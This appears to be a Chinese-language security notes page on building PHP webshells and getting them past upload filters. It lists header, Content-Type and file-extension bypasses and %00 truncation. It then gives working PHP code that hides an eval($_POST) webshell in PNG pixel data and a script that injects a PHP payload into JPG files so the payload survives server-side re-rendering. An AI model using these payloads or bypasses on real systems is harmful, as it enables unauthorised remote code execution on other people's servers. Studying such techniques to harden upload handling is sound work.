webshell

# PHP Webshell 的一些构造

# Upload Bypass

# Content-Type

# 文件头

GIF GIF89a
XMP

#define width 1
#define height 1

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# 文件后缀名

ph5 ph7 phtml
%00截断绕过

# 图片马

# 文件头

# 二次渲染

# PNG

利用inflate 使得deflate后为我们想要的字符,同时绕过相关过滤器

代码如下

<?php

$raw = "03a39f67641d201612546f112e29152b2167226b6f5f5310"; //EVAL($_POST[1]);
7
#$raw = "03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310";//$_GET[0]($_POST[1]);

$raw = hex2bin($raw);

$p = unpack('C*', $raw);

$s = count($p);
// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
    $p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
#var_export($p);
$data1 = $p;
$p = unpack('C*', $raw);
$s = count($p);
// Reverse Filter 3
for ($i = 0; $i < $s; $i++)
    $p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;
#var_export($p);
foreach ($p as $key=>$item){
    $data1[]=$item;
}
var_export($data1);

$p = $data1;

/*
$p = array (
    0 => 3,
    1 => 163,
    2 => 159,
    3 => 106,
    4 => 7,
    5 => 188,
    6 => 138,
    7 => 29,
    8 => 206,
    9 => 222,
    10 => 140,
    11 => 223,
    12 => 12,
    13 => 181,
    14 => 244,
    15 => 55,
    16 => 214,
    17 => 91,
    18 => 89,
    19 => 65,
    20 => 202,
    21 => 184,
    22 => 148,
    23 => 218,
    24 => 184,
    25 => 148,
    26 => 218,
    27 => 3,
    28 => 163,
    29 => 159,
    30 => 104,
    31 => 181,
    32 => 108,
    33 => 84,
    34 => 112,
    35 => 72,
    36 => 126,
    37 => 167,
    38 => 53,
    39 => 109,
    40 => 124,
    41 => 47,
    42 => 97,
    43 => 95,
    44 => 126,
    45 => 82,
    46 => 154,
    47 => 174,
    48 => 136,
    49 => 160,
    50 => 103,
    51 => 68,
    52 => 80,
    53 => 51,
);*/ 

#$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

#var_dump(implode(",", $p));

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}
 
$text = imagepng($img);

生成的图片符合png格式的要求，且能通过服务端二次渲染

# JPG

同样的有jpg代码

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

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# 参考资料

https://xz.aliyun.com/t/2657

https://rdot.org/forum/showthread.php?t=2780

https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

编辑

上次更新: 2022/08/09, 14:57:22

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